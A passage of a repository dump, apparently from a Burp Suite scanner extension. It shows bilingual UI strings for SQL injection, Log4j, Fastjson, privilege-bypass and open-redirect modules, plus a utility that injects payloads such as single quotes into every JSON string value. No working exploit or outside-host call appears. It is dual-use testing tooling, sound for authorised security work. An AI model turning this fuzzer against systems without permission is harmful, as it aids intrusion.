\"Error\");\n        enMap.put(\"similar.dialog.confirm_delete_project\", \"Are you sure to delete project '\");\n        enMap.put(\"similar.dialog.confirm_delete\", \"Confirm Delete\");\n        enMap.put(\"similar.dialog.delete_project_failed\", \"Delete project failed: \");\n        enMap.put(\"similar.dialog.refresh_project_list_failed\", \"Refresh project list failed: \");\n        \n        // DomainConfigDialog messages\n        enMap.put(\"similar.dialog.input_domain\", \"Please enter domain:\");\n        enMap.put(\"similar.dialog.add_domain_title\", \"Add Domain\");\n        enMap.put(\"similar.dialog.domain_exists\", \"Domain already exists!\");\n        enMap.put(\"similar.dialog.tip\", \"Tip\");\n        enMap.put(\"similar.dialog.edit_domain\", \"Edit domain:\");\n        enMap.put(\"similar.dialog.select_domain_to_edit\", \"Please select a domain to edit!\");\n        enMap.put(\"similar.dialog.confirm_delete_domain\", \"Are you sure to delete the selected domain?\");\n        enMap.put(\"similar.dialog.select_domain_to_delete\", \"Please select a domain to delete!\");\n        \n        // UrlRedirectUI\n        enMap.put(\"redirect.checkbox.passive\", \"Passive Scan\");\n        enMap.put(\"redirect.button.clear\", \"Clear\");\n        enMap.put(\"redirect.border.settings\", \"Settings\");\n        enMap.put(\"redirect.label.parameter\", \"Parameter\");\n        enMap.put(\"redirect.label.parameters\", \"Parameters\");\n        enMap.put(\"redirect.label.payloads\", \"Payloads\");\n        enMap.put(\"redirect.button.add\", \"Add\");\n        enMap.put(\"redirect.button.clear\", \"Clear\");\n        enMap.put(\"redirect.value.yes\", \"Yes\");\n        enMap.put(\"redirect.value.no\", \"No\");\n        \n        // ConfigUI\n        enMap.put(\"config.label.dnslog\", \"DNS Log\");\n        enMap.put(\"config.label.ip\", \"IP Address\");\n        enMap.put(\"config.label.tool_name\", \"Tool Name\");\n        enMap.put(\"config.label.tool_args\", \"Tool Arguments\");\n        enMap.put(\"config.button.save\", \"Save Config\");\n        enMap.put(\"config.button.refresh\", \"Refresh\");\n        enMap.put(\"config.button.delete\", \"Delete Selected\");\n        enMap.put(\"config.button.clear_cache\", \"Clear Cache\");\n        enMap.put(\"config.button.reset\", \"Reset Duplicate Check\");\n        enMap.put(\"config.message.delete_success\", \"Delete Successfully\");\n        enMap.put(\"config.message.delete_failed\", \"Delete Failed\");\n        enMap.put(\"config.message.save_success\", \"Save Successfully\");\n        enMap.put(\"config.message.reset_success\", \"Reset Successfully\");\n        enMap.put(\"config.title.info\", \"Info\");\n        \n        // 通用\n        enMap.put(\"common.button.save\", \"Save\");\n        enMap.put(\"common.button.next\", \"Next\");\n        enMap.put(\"common.checkbox.enable\", \"Enable Socks\");\n        enMap.put(\"common.border.proxy_pool\", \"Proxy Pool: (example: 1.2.3.4:7890 or 1.2.3.4:7890:user:pass)\");\n        enMap.put(\"common.border.log\", \"Log\");\n        enMap.put(\"common.label.language\", \"Language\");\n        enMap.put(\"common.message.language_change\", \"Language changed. Please restart the plugin to apply changes.\");\n        enMap.put(\"common.title.info\", \"Info\");\n        \n        // SocksUI\n        enMap.put(\"socks.message.save_success\", \"Successfully saved %s records\");\n        enMap.put(\"socks.message.invalid_format\", \"Please enter the correct proxy format\");\n        enMap.put(\"socks.message.save_first\", \"Please save the proxy configuration first\");\n        enMap.put(\"socks.message.all_used\", \"All proxies have been used\");\n        enMap.put(\"socks.message.current_proxy\", \"Currently using IP: %s:%s\");\n        enMap.put(\"socks.message.current_proxy_with_user\", \"Currently using IP: %s:%s Username: %s\");\n        \n        languageMap.put(Language.ENGLISH, enMap);\n        \n        // 初始化中文映射\n        Map<String, String> zhMap = new HashMap<>();\n        // AuthUI\n        zhMap.put(\"auth.button.clear\", \"清空表格\");\n        zhMap.put(\"auth.button.save\", \"保存\");\n        zhMap.put(\"auth.label.ip\", \"IP:\");\n        \n        // SqlUI\n        zhMap.put(\"sql.checkbox.passive\", \"被动扫描\");\n        zhMap.put(\"sql.checkbox.delete_original\", \"删除原始值\");\n        zhMap.put(\"sql.checkbox.check_cookie\", \"检测cookie\");\n        zhMap.put(\"sql.checkbox.check_header\", \"检测header\");\n        zhMap.put(\"sql.checkbox.whitelist\", \"白名单域名检测\");\n        zhMap.put(\"sql.checkbox.url_encode\", \"url编码\");\n        zhMap.put(\"sql.checkbox.boolean_blind\", \"布尔盲注\");\n        zhMap.put(\"sql.button.save_whitelist\", \"保存白名单域名\");\n        zhMap.put(\"sql.button.save_header\", \"保存header\");\n        zhMap.put(\"sql.button.refresh\", \"刷新表格\");\n        zhMap.put(\"sql.button.clear\", \"清空表格\");\n        zhMap.put(\"sql.label.whitelist\", \"白名单域名\");\n        zhMap.put(\"sql.label.header\", \"header检测列表\");\n        zhMap.put(\"sql.label.payload\", \"sql payload\");\n        zhMap.put(\"sql.label.error_key\", \"sql error key\");\n        zhMap.put(\"sql.button.save_payload\", \"保存sql payload\");\n        zhMap.put(\"sql.button.save_error_key\", \"保存sql error key\");\n        zhMap.put(\"sql.border.scan_options\", \"扫描选项\");\n        zhMap.put(\"sql.border.configuration\", \"配置\");\n        zhMap.put(\"sql.border.actions\", \"操作\");\n        \n        // PermUI\n        zhMap.put(\"perm.tab.original\", \"原始请求包\");\n        zhMap.put(\"perm.tab.low\", \"低权限请求包\");\n        zhMap.put(\"perm.tab.no\", \"无权限请求包\");\n        zhMap.put(\"perm.checkbox.passive\", \"被动扫描\");\n        zhMap.put(\"perm.checkbox.whitelist\", \"白名单域名\");\n        zhMap.put(\"perm.button.save_whitelist\", \"保存白名单\");\n        zhMap.put(\"perm.button.save_auth\", \"保存认证数据\");\n        zhMap.put(\"perm.button.export\", \"导出数据\");\n        zhMap.put(\"perm.button.refresh\", \"刷新表格\");\n        zhMap.put(\"perm.button.clear\", \"清空表格\");\n        zhMap.put(\"perm.label.whitelist\", \"白名单域名\");\n        zhMap.put(\"perm.label.low_auth\", \"低权限认证请求信息\");\n        zhMap.put(\"perm.label.no_auth\", \"无权限认证请求信息(输入请求头信息，不输入请求体信息)\");\n        zhMap.put(\"perm.border.scan_options\", \"扫描选项\");\n        zhMap.put(\"perm.border.configuration\", \"配置\");\n        zhMap.put(\"perm.border.actions\", \"操作\");\n        zhMap.put(\"perm.message.no_data\", \"表格中没有数据\");\n        zhMap.put(\"perm.message.export_success\", \"导出成功，已复制到剪切板\");\n        zhMap.put(\"perm.message.fill_whitelist\", \"请先填写白名单域名\");\n        \n        // FastjsonUI\n        zhMap.put(\"fastjson.button.clear\", \"清空表格\");\n        zhMap.put(\"fastjson.button.refresh\", \"刷新表格\");\n        zhMap.put(\"fastjson.checkbox.passive_scan\", \"被动扫描\");\n        zhMap.put(\"fastjson.checkbox.auto_refresh\", \"自动刷新表格\");\n        zhMap.put(\"fastjson.message.enter_echo\", \"请输入echo命令\");\n        \n        // Log4jUI\n        zhMap.put(\"log4j.checkbox.passive\", \"被动扫描\");\n        zhMap.put(\"log4j.checkbox.original\", \"原始payload\");\n        zhMap.put(\"log4j.checkbox.params\", \"检测参数\");\n        zhMap.put(\"log4j.checkbox.headers\", \"检测header\");\n        zhMap.put(\"log4j.checkbox.whitelist\", \"白名单域名检测\");\n        zhMap.put(\"log4j.checkbox.dns_ip\", \"dns\");\n        zhMap.put(\"log4j.button.save_whitelist\", \"保存白名单域名\");\n        zhMap.put(\"log4j.button.save_header\", \"保存header\");\n        zhMap.put(\"log4j.button.refresh\", \"刷新表格\");\n        zhMap.put(\"log4j.button.clear\", \"清空表格\");\n        zhMap.put(\"log4j.label.whitelist\", \"白名单域名\");\n        zhMap.put(\"log4j.label.header\", \"header检测列表\");\n        zhMap.put(\"log4j.label.payload\", \"payload 列表\");\n        zhMap.put(\"log4j.button.save_payload\", \"保存payload\");\n        zhMap.put(\"log4j.border.scan_options\", \"扫描选项\");\n        zhMap.put(\"log4j.border.configuration\", \"配置\");\n        zhMap.put(\"log4j.border.actions\", \"操作\");\n        \n        // RouteUI\n        zhMap.put(\"route.button.refresh\", \"刷新表格\");\n        zhMap.put(\"route.button.clear\", \"清空表格\");\n        zhMap.put(\"route.checkbox.passive\", \"被动扫描\");\n        zhMap.put(\"route.label.tips\", \"自定义规则添加: \");\n        zhMap.put(\"route.label.name\", \"规则名称:\");\n        zhMap.put(\"route.label.path\", \"路径:\");\n        zhMap.put(\"route.label.express\", \"表达式规则:\");\n        zhMap.put(\"route.button.add\", \"添加规则\");\n        zhMap.put(\"route.button.delete\", \"删除选中规则\");\n        zhMap.put(\"route.button.enable\", \"开启/关闭选中规则\");\n        \n        // SimilarUI\n        zhMap.put(\"similar.label.project\", \"当前项目: 未选择\");\n        zhMap.put(\"similar.button.scan\", \"开启扫描\");\n        zhMap.put(\"similar.button.manage\", \"项目管理\");\n        zhMap.put(\"similar.button.config\", \"配置主域名\");\n        zhMap.put(\"similar.label.domain\", \" 域名列表:\");\n        zhMap.put(\"similar.label.url\", \" URL列表:\");\n        zhMap.put(\"similar.label.stats\", \"统计信息: \");\n        zhMap.put(\"similar.label.domain_cache\", \"域名缓存\");\n        zhMap.put(\"similar.label.url_cache\", \"URL缓存\");\n        zhMap.put(\"similar.label.main_domain\", \"主域名配置:\");\n        zhMap.put(\"similar.message.select_project\", \"请先选择项目!\");\n        zhMap.put(\"similar.table.copy_domain\", \"复制域名\");\n        zhMap.put(\"similar.table.copy_ip\", \"复制IP\");\n        zhMap.put(\"similar.table.copy_selected\", \"复制选中内容\");\n        zhMap.put(\"similar.table.copy_selected_url\", \"复制选中URL\");\n        zhMap.put(\"similar.table.copy_all_url\", \"复制全部URL\");\n        zhMap.put(\"similar.table.clear_selection\", \"清除选择\");\n        \n        // DomainConfigDialog\n        zhMap.put(\"similar.dialog.domain_config_title\", \"主域名配置\");\n        zhMap.put(\"similar.dialog.add_domain\", \"添加域名\");\n        zhMap.put(\"similar.dialog.edit_domain\", \"编辑域名\");\n        zhMap.put(\"similar.dialog.delete_domain\", \"删除域名\");\n        zhMap.put(\"similar.dialog.save\", \"保存\");\n        zhMap.put(\"similar.dialog.domain_list\", \"主域名列表:\");\n        \n        // ProjectManageDialog\n        zhMap.put(\"similar.dialog.project_manage_title\", \"项目管理\");\n        zhMap.put(\"similar.dialog.add_project\", \"新增项目\");\n        zhMap.put(\"similar.dialog.delete_project\", \"删除项目\");\n        zhMap.put(\"similar.dialog.select_project\", \"选择项目\");\n        \n        // FastjsonUI\n        zhMap.put(\"fastjson.button.refresh\", \"刷新\");\n        zhMap.put(\"fastjson.checkbox.auto_refresh\", \"自动刷新\");\n        zhMap.put(\"fastjson.dialog.select_type\", \"请选择类型:\");\n        zhMap.put(\"fastjson.dialog.tip\", \"提示\");\n        \n        // AuthUI\n        zhMap.put(\"auth.button.clear\", \"清空表格\");\n        zhMap.put(\"auth.label.ip\", \"IP:\");\n        zhMap.put(\"auth.button.save\", \"保存\");\n        \n        // SocksUI\n        zhMap.put(\"socks.button.save\", \"保存\");\n        zhMap.put(\"socks.button.next\", \"下一个\");\n        zhMap.put(\"socks.checkbox.enable\", \"启用Socks\");\n        zhMap.put(\"socks.border.proxy_pool\", \"代理池: (示例: 1.2.3.4:7890 或 1.2.3.4:7890:user:pass)\");\n        zhMap.put(\"socks.border.log\", \"日志\");\n        \n        // ProjectManageDialog messages\n        zhMap.put(\"similar.dialog.input_project_name\", \"请输入项目名称:\");\n        zhMap.put(\"similar.dialog.create_project_failed\", \"创建项目失败: \");\n        zhMap.put(\"similar.dialog.error\", \"错误\");\n        zhMap.put(\"similar.dialog.confirm_delete_project\", \"确定要删除项目 '\");\n        zhMap.put(\"similar.dialog.confirm_delete\", \"确认删除\");\n        zhMap.put(\"similar.dialog.delete_project_failed\", \"删除项目失败: \");\n        zhMap.put(\"similar.dialog.refresh_project_list_failed\", \"刷新项目列表失败: \");\n        \n        // DomainConfigDialog messages\n        zhMap.put(\"similar.dialog.input_domain\", \"请输入域名:\");\n        zhMap.put(\"similar.dialog.add_domain_title\", \"添加域名\");\n        zhMap.put(\"similar.dialog.domain_exists\", \"域名已存在!\");\n        zhMap.put(\"similar.dialog.tip\", \"提示\");\n        zhMap.put(\"similar.dialog.edit_domain\", \"编辑域名:\");\n        zhMap.put(\"similar.dialog.select_domain_to_edit\", \"请先选择要编辑的域名!\");\n        zhMap.put(\"similar.dialog.confirm_delete_domain\", \"确定要删除选中的域名吗?\");\n        zhMap.put(\"similar.dialog.select_domain_to_delete\", \"请先选择要删除的域名!\");\n        \n        // UrlRedirectUI\n        zhMap.put(\"redirect.checkbox.passive\", \"被动扫描\");\n        zhMap.put(\"redirect.button.clear\", \"清除\");\n        zhMap.put(\"redirect.border.settings\", \"设置\");\n        zhMap.put(\"redirect.label.parameter\", \"参数\");\n        zhMap.put(\"redirect.label.parameters\", \"参数\");\n        zhMap.put(\"redirect.label.payloads\", \"Payloads\");\n        zhMap.put(\"redirect.button.add\", \"添加\");\n        zhMap.put(\"redirect.button.clear\", \"清除\");\n        zhMap.put(\"redirect.value.yes\", \"是\");\n        zhMap.put(\"redirect.value.no\", \"否\");\n        \n        // ConfigUI\n        zhMap.put(\"config.label.dnslog\", \"DNS日志\");\n        zhMap.put(\"config.label.ip\", \"IP地址\");\n        zhMap.put(\"config.label.tool_name\", \"工具名称\");\n        zhMap.put(\"config.label.tool_args\", \"工具参数\");\n        zhMap.put(\"config.button.save\", \"保存配置\");\n        zhMap.put(\"config.button.refresh\", \"刷新\");\n        zhMap.put(\"config.button.delete\", \"删除选中\");\n        zhMap.put(\"config.button.clear_cache\", \"清除缓存\");\n        zhMap.put(\"config.button.reset\", \"重置重复性校验\");\n        zhMap.put(\"config.message.delete_success\", \"删除成功\");\n        zhMap.put(\"config.message.delete_failed\", \"删除失败\");\n        zhMap.put(\"config.message.save_success\", \"保存成功\");\n        zhMap.put(\"config.message.reset_success\", \"重置成功\");\n        zhMap.put(\"config.title.info\", \"提示\");\n        \n        // 通用\n        zhMap.put(\"common.button.save\", \"保存\");\n        zhMap.put(\"common.button.next\", \"下一个\");\n        zhMap.put(\"common.checkbox.enable\", \"启用Socks\");\n        zhMap.put(\"common.border.proxy_pool\", \"代理池: (示例: 1.2.3.4:7890 or 1.2.3.4:7890:user:pass)\");\n        zhMap.put(\"common.border.log\", \"日志\");\n        zhMap.put(\"common.label.language\", \"语言\");\n        zhMap.put(\"common.message.language_change\", \"语言已更改，请重启插件以应用更改。\");\n        zhMap.put(\"common.title.info\", \"提示\");\n        \n        // SocksUI\n        zhMap.put(\"socks.message.save_success\", \"成功保存数据%s条\");\n        zhMap.put(\"socks.message.invalid_format\", \"请输入正确的代理格式\");\n        zhMap.put(\"socks.message.save_first\", \"请先保存代理配置\");\n        zhMap.put(\"socks.message.all_used\", \"所有代理已使用完毕\");\n        zhMap.put(\"socks.message.current_proxy\", \"当前使用ip:%s:%s\");\n        zhMap.put(\"socks.message.current_proxy_with_user\", \"当前使用ip:%s:%s 用户名:%s\");\n        \n        languageMap.put(Language.CHINESE, zhMap);\n        \n        // 从配置中加载语言设置\n        loadLanguageFromConfig();\n    }\n    \n    /**\n     * 从配置中加载语言设置\n     */\n    private static void loadLanguageFromConfig() {\n        try {\n            ConfigBean config = ConfigDao.getConfig(\"config\", \"language\");\n            if (config != null && \"zh\".equals(config.getValue())) {\n                currentLanguage = Language.CHINESE;\n            }\n        } catch (Exception e) {\n            // 加载失败时使用默认语言\n            currentLanguage = Language.ENGLISH;\n        }\n    }\n    \n    /**\n     * 获取当前语言\n     */\n    public static Language getCurrentLanguage() {\n        return currentLanguage;\n    }\n    \n    /**\n     * 设置语言\n     */\n    public static void setLanguage(Language language) {\n        currentLanguage = language;\n    }\n    \n    /**\n     * 获取国际化文本\n     */\n    public static String get(String key) {\n        Map<String, String> map = languageMap.get(currentLanguage);\n        return map != null ? map.getOrDefault(key, key) : key;\n    }\n    \n    /**\n     * 切换语言\n     */\n    public static void toggleLanguage() {\n        currentLanguage = currentLanguage == Language.ENGLISH ? Language.CHINESE : Language.ENGLISH;\n    }\n    \n    /**\n     * 检查是否为中文\n     */\n    public static boolean isChinese() {\n        return currentLanguage == Language.CHINESE;\n    }\n    \n    /**\n     * 设置是否为中文\n     */\n    public static void setChinese(boolean isChinese) {\n        currentLanguage = isChinese ? Language.CHINESE : Language.ENGLISH;\n    }\n}"
  },
  {
    "path": "src/main/java/burp/utils/JsonProcessorUtil.java",
    "content": "package burp.utils;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONArray;\nimport com.alibaba.fastjson.JSONObject;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * JSON字符串处理工具类\n * 支持对JSON字符串中的字符串类型值进行修改\n *\n * 使用示例:\n * 1. 使用布尔值控制模式（推荐）:\n *    boolean isDeleteOrigin = true; // true表示替换模式，false表示追加模式\n *    // 处理单引号\n *    List<String> results1 = JsonProcessorUtil.processBatch(\n *        jsonInput, Arrays.asList(\"'\"), isDeleteOrigin);\n *\n *    // 处理指定数量的单引号\n *    List<String> results2 = JsonProcessorUtil.processWithQuotes(\n *        jsonInput, 2, isDeleteOrigin);\n *\n *    // 批量处理多个数量的单引号\n *    List<String> results3 = JsonProcessorUtil.processWithQuotesBatch(\n *        jsonInput, Arrays.asList(1, 2, 3), isDeleteOrigin);\n *\n * 2. 使用ProcessMode枚举:\n *    // 单个处理\n *    List<String> results1 = JsonProcessorUtil.processWithQuotes(\n *        jsonInput, 2, ProcessMode.APPEND);\n *\n *    // 批量处理\n *    List<String> results2 = JsonProcessorUtil.processWithQuotesBatch(\n *        jsonInput, Arrays.asList(1, 2, 3), ProcessMode.APPEND);\n *\n *    // 自定义payload\n *    List<String> results3 = JsonProcessorUtil.processBatch(\n *        jsonInput, Arrays.asList(\"'\", \"''\"), ProcessMode.APPEND);\n */\npublic class JsonProcessorUtil {\n\n    // 结果类\n    public static class ProcessResult {\n        private String paramPath;  // JSON 参数路径\n        private String modifiedJson;  // 修改后的 JSON\n\n        public ProcessResult(String paramPath, String modifiedJson) {\n            this.paramPath = paramPath;\n            this.modifiedJson = modifiedJson;\n        }\n\n        public String getParamPath() { return paramPath; }\n        public String getModifiedJson() { return modifiedJson; }\n    }\n    /**\n     * 处理模式枚举\n     */\n    public enum ProcessMode {\n        REPLACE(0, \"替换模式\"),\n        APPEND(1, \"追加模式\");\n\n        private final int code;\n        private final String description;\n\n        ProcessMode(int code, String description) {\n            this.code = code;\n            this.description = description;\n        }\n\n        public int getCode() {\n            return code;\n        }\n\n        public String getDescription() {\n            return description;\n        }\n\n        // 转换为布尔值\n        public boolean toBoolean() {\n            return this == REPLACE;\n        }\n\n        // 从布尔值获取模式\n        public static ProcessMode fromBoolean(boolean isDeleteOrigin) {\n            return isDeleteOrigin ? REPLACE : APPEND;\n        }\n    }\n\n    /**\n     * 处理单个JSON对象（使用布尔值控制模式）\n     *\n     * @param jsonInput JSON输入（字符串或JSONObject）\n     * @param payload 要插入的内容\n     * @param isDeleteOrigin true表示替换模式，false表示追加模式\n     * @return 处理后的JSON字符串列表\n     */\n    public static List<String> process(Object jsonInput, String payload, boolean isDeleteOrigin) {\n        return process(jsonInput, payload, ProcessMode.fromBoolean(isDeleteOrigin));\n    }\n\n    // 修改 process 方法返回带路径信息的结果\n    public static List<ProcessResult> processWithPath(Object jsonInput, String payload, boolean isDeleteOrigin) {\n        List<ProcessResult> results = new ArrayList<>();\n        try {\n            if (jsonInput instanceof JSONObject) {\n                processJsonObjectWithPath((JSONObject) jsonInput, null, \"\", payload,\n                        isDeleteOrigin ? 0 : 1, results);\n            } else if (jsonInput instanceof String) {\n                Object parsedJson = JSON.parse((String) jsonInput);\n                return processWithPath(parsedJson, payload, isDeleteOrigin);\n            }\n        } catch (Exception e) {\n            throw new JsonProcessingException(\"处理JSON时发生错误: \" + e.getMessage(), e);\n        }\n        return results;\n    }\n    // 新增处理数组的方法\n    private static void processArrayWithPath(JSONArray array, JSONObject root,\n                                             String path, String payload, int mode,\n                                             List<ProcessResult> results) {\n        for (int i = 0; i < array.size(); i++) {\n            Object item = array.get(i);\n            String currentPath = path + \"[\" + i + \"]\";\n\n            if (item instanceof String) {\n                JSONObject newRoot = cloneJsonObject(root);\n                JSONArray targetArray = getArrayByPath(newRoot, path);\n                if (targetArray != null) {\n                    String originalValue = (String) item;\n                    targetArray.set(i, mode == 0 ? payload : originalValue + payload);\n                    results.add(new ProcessResult(currentPath, JSON.toJSONString(newRoot)));\n                }\n            } else if (item instanceof JSONObject) {\n                processJsonObjectWithPath(\n                        (JSONObject) item,\n                        root,\n                        currentPath,\n                        payload,\n                        mode,\n                        results\n                );\n            }\n        }\n    }\n\n    // 新增带路径的处理方法\n    private static void processJsonObjectWithPath(JSONObject currentObject, JSONObject root,\n                                                  String path, String payload, int mode,\n                                                  List<ProcessResult> results) {\n        for (String key : currentObject.keySet()) {\n            Object value = currentObject.get(key);\n            String currentPath = path.isEmpty() ? key : path + \".\" + key;\n\n            if (value instanceof String) {\n                JSONObject newRoot = root == null ?\n                        cloneJsonObject(currentObject) : cloneJsonObject(root);\n                updateValueInPath(newRoot, path, key, (String) value, payload, mode);\n                results.add(new ProcessResult(currentPath, JSON.toJSONString(newRoot)));\n            } else if (value instanceof JSONObject) {\n                processJsonObjectWithPath(\n                        (JSONObject) value,\n                        root == null ? currentObject : root,\n                        currentPath,\n                        payload,\n                        mode,\n                        results\n                );\n            } else if (value instanceof JSONArray) {\n                processArrayWithPath(\n                        (JSONArray) value,\n                        root == null ? currentObject : root,\n                        currentPath,\n                        payload,\n                        mode,\n                        results\n                );\n            }\n        }\n    }\n\n    /**\n     * 处理单个JSON对象，每次只修改一个参数\n     *\n     * @param jsonInput JSON输入（字符串或JSONObject）\n     * @param payload 要插入的内容\n     * @param mode 处理模式\n     * @return 处理后的JSON字符串列表\n     */\n    public static List<String> process(Object jsonInput, String payload, ProcessMode mode) {\n        try {\n            List<Object> results = processJsonSingle(jsonInput, payload, mode.getCode());\n            return convertResultsToString(results);\n        } catch (Exception e) {\n            throw new JsonProcessingException(\"处理JSON时发生错误: \" + e.getMessage(), e);\n        }\n    }\n\n    /**\n     * 批量处理JSON对象（使用布尔值控制模式）\n     *\n     * @param jsonInput JSON输入\n     * @param payloads 要插入的内容列表\n     * @param isDeleteOrigin true表示替换模式，false表示追加模式\n     * @return 处理后的JSON字符串列表\n     */\n    public static List<String> processBatch(Object jsonInput, List<String> payloads, boolean isDeleteOrigin) {\n        return processBatch(jsonInput, payloads, ProcessMode.fromBoolean(isDeleteOrigin));\n    }\n\n    /**\n     * 批量处理JSON对象\n     *\n     * @param jsonInput JSON输入\n     * @param payloads 要插入的内容列表\n     * @param mode 处理模式\n     * @return 处理后的JSON字符串列表\n     */\n    public static List<String> processBatch(Object jsonInput, List<String> payloads, ProcessMode mode) {\n        List<String> allResults = new ArrayList<>();\n        for (String payload : payloads) {\n            allResults.addAll(process(jsonInput, payload, mode));\n        }\n        return allResults;\n    }\n\n    /**\n     * 使用指定数量的单引号处理JSON（使用布尔值控制模式）\n     *\n     * @param jsonInput JSON输入\n     * @param quoteCount 单引号数量\n     * @param isDeleteOrigin true表示替换模式，false表示追加模式\n     * @return 处理后的JSON字符串列表\n     */\n    public static List<String> processWithQuotes(Object jsonInput, int quoteCount, boolean isDeleteOrigin) {\n        return processWithQuotes(jsonInput, quoteCount, ProcessMode.fromBoolean(isDeleteOrigin));\n    }\n\n    /**\n     * 使用指定数量的单引号处理JSON\n     *\n     * @param jsonInput JSON输入\n     * @param quoteCount 单引号数量\n     * @param mode 处理模式\n     * @return 处理后的JSON字符串列表\n     */\n    public static List<String> processWithQuotes(Object jsonInput, int quoteCount, ProcessMode mode) {\n        return process(jsonInput, generateQuotes(quoteCount), mode);\n    }\n\n    /**\n     * 批量处理指定数量的单引号（使用布尔值控制模式）\n     *\n     * @param jsonInput JSON输入\n     * @param quoteCounts 单引号数量列表\n     * @param isDeleteOrigin true表示替换模式，false表示追加模式\n     * @return 处理后的JSON字符串列表\n     */\n    public static List<String> processWithQuotesBatch(Object jsonInput, List<Integer> quoteCounts, boolean isDeleteOrigin) {\n        return processWithQuotesBatch(jsonInput, quoteCounts, ProcessMode.fromBoolean(isDeleteOrigin));\n    }\n\n    /**\n     * 批量处理指定数量的单引号\n     *\n     * @param jsonInput JSON输入\n     * @param quoteCounts 单引号数量列表\n     * @param mode 处理模式\n     * @return 处理后的JSON字符串列表\n     */\n    public static List<String> processWithQuotesBatch(Object jsonInput, List<Integer> quoteCounts, ProcessMode mode) {\n        List<String> allResults = new ArrayList<>();\n        for (Integer count : quoteCounts) {\n            allResults.addAll(processWithQuotes(jsonInput, count, mode));\n        }\n        return allResults;\n    }\n\n    /**\n     * 将结果转换为字符串列表\n     */\n    private static List<String> convertResultsToString(List<Object> results) {\n        List<String> stringResults = new ArrayList<>();\n        for (Object result : results) {\n            stringResults.add(JSON.toJSONString(result));\n        }\n        return stringResults;\n    }\n\n    /**\n     * 生成指定数量的单引号\n     */\n    private static String generateQuotes(int count) {\n        StringBuilder sb = new StringBuilder();\n        for (int i = 0; i < count; i++) {\n            sb.append('\\'');\n        }\n        return sb.toString();\n    }\n\n    /**\n     * 处理JSON数据\n     */\n    private static List<Object> processJsonSingle(Object jsonData, String payload, int mode) {\n        List<Object> results = new ArrayList<>();\n        if (jsonData instanceof JSONObject) {\n            processJsonObject((JSONObject) jsonData, null, \"\", payload, mode, results);\n        } else if (jsonData instanceof String) {\n            try {\n                Object parsedJson = JSON.parse((String) jsonData);\n                return processJsonSingle(parsedJson, payload, mode);\n            } catch (Exception e) {\n                throw new JsonProcessingException(\"无效的JSON字符串\", e);\n            }\n        }\n        return results;\n    }\n\n    /**\n     * 处理JSON对象\n     */\n    private static void processJsonObject(JSONObject currentObject, JSONObject root,\n                                          String path, String payload, int mode,\n                                          List<Object> results) {\n        for (String key : currentObject.keySet()) {\n            Object value = currentObject.get(key);\n            String currentPath = path.isEmpty() ? key : path + \".\" + key;\n\n            if (value instanceof String) {\n                JSONObject newRoot = root == null ?\n                        cloneJsonObject(currentObject) : cloneJsonObject(root);\n                updateValueInPath(newRoot, path, key, (String) value, payload, mode);\n                results.add(newRoot);\n            } else if (value instanceof JSONObject) {\n                processJsonObject(\n                        (JSONObject) value,\n                        root == null ? currentObject : root,\n                        currentPath,\n                        payload,\n                        mode,\n                        results\n                );\n            } else if (value instanceof JSONArray) {\n                processArray(\n                        (JSONArray) value,\n                        root == null ? currentObject : root,\n                        currentPath,\n                        payload,\n                        mode,\n                        results\n                );\n            }\n        }\n    }\n\n    /**\n     * 处理JSON数组\n     */\n    private static void processArray(JSONArray array, JSONObject root,\n                                     String path, String payload, int mode,\n                                     List<Object> results) {\n        for (int i = 0; i < array.size(); i++) {\n            Object item = array.get(i);\n            if (item instanceof String) {\n                JSONObject newRoot = cloneJsonObject(root);\n                JSONArray targetArray = getArrayByPath(newRoot, path);\n                if (targetArray != null) {\n                    targetArray.set(i, mode == 0 ? payload : item + payload);\n                    results.add(newRoot);\n                }\n            } else if (item instanceof JSONObject) {\n                processJsonObject(\n                        (JSONObject) item,\n                        root,\n                        path + \"[\" + i + \"]\",\n                        payload,\n                        mode,\n                        results\n                );\n            }\n        }\n    }\n\n    /**\n     * 根据路径更新值\n     */\n    private static void updateValueInPath(JSONObject root, String path, String key,\n                                          String originalValue, String payload, int mode) {\n        if (path.isEmpty()) {\n            root.put(key, mode == 0 ? payload : originalValue + payload);\n            return;\n        }\n\n        String[] parts = path.split(\"\\\\.\");\n        JSONObject current = root;\n\n        for (String part : parts) {\n            if (part.contains(\"[\") && part.contains(\"]\")) {\n                String arrayKey = part.substring(0, part.indexOf(\"[\"));\n                int index = Integer.parseInt(part.substring(\n                        part.indexOf(\"[\") + 1, part.indexOf(\"]\")));\n                JSONArray array = current.getJSONArray(arrayKey);\n                current = array.getJSONObject(index);\n            } else {\n                current = current.getJSONObject(part);\n            }\n        }\n\n        current.put(key, mode == 0 ? payload : originalValue + payload);\n    }\n\n    /**\n     * 根据路径获取数组\n     */\n    private static JSONArray getArrayByPath(JSONObject root, String path) {\n        String[] parts = path.split(\"\\\\.\");\n        JSONObject current = root;\n\n        for (int i = 0; i < parts.length - 1; i++) {\n            current = current.getJSONObject(parts[i]);\n            if (current == null) return null;\n        }\n\n        return current.getJSONArray(parts[parts.length - 1]);\n    }\n\n    /**\n     * 深度克隆JSONObject\n     */\n    private static JSONObject cloneJsonObject(JSONObject original) {\n        return JSON.parseObject(JSON.toJSONString(original));\n    }\n\n    /**\n     * JSON处理异常类\n     */\n    public static class JsonProcessingException extends RuntimeException {\n        public JsonProcessingException(String message, Throwable cause) {\n            super(message, cause);\n        }\n\n        public JsonProcessingException(String message) {\n            super(message);\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/utils/JsonUtils.java",
    "content": "package burp.utils;\n\nimport java.util.*;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\npublic class JsonUtils {\n    public static List<Object> updateJsonObjectFromStr(Object baseObj, String updateStr, int mode) {\n        List<Object> resultList = new ArrayList<>();\n\n        if (mode == 0) {\n            resultList.add(replaceUpdate(baseObj, updateStr));\n        } else if (mode == 1) {\n            resultList.add(appendUpdate(baseObj, updateStr));\n        } else {\n            throw new IllegalArgumentException(\"Invalid mode: \" + mode);\n        }\n\n        return resultList;\n    }\n\n    private static Object replaceUpdate(Object obj, String updateStr) {\n        if (obj == null) {\n            return null;\n        }\n        if (obj instanceof Map) {\n            Map<String, Object> map = (Map<String, Object>) obj;\n            Map<String, Object> updatedMap = new LinkedHashMap<>();\n            for (Map.Entry<String, Object> entry : map.entrySet()) {\n                updatedMap.put(entry.getKey(), replaceUpdate(entry.getValue(), updateStr));\n            }\n            return updatedMap;\n        } else if (obj instanceof List) {\n            List<Object> list = (List<Object>) obj;\n            List<Object> updatedList = new 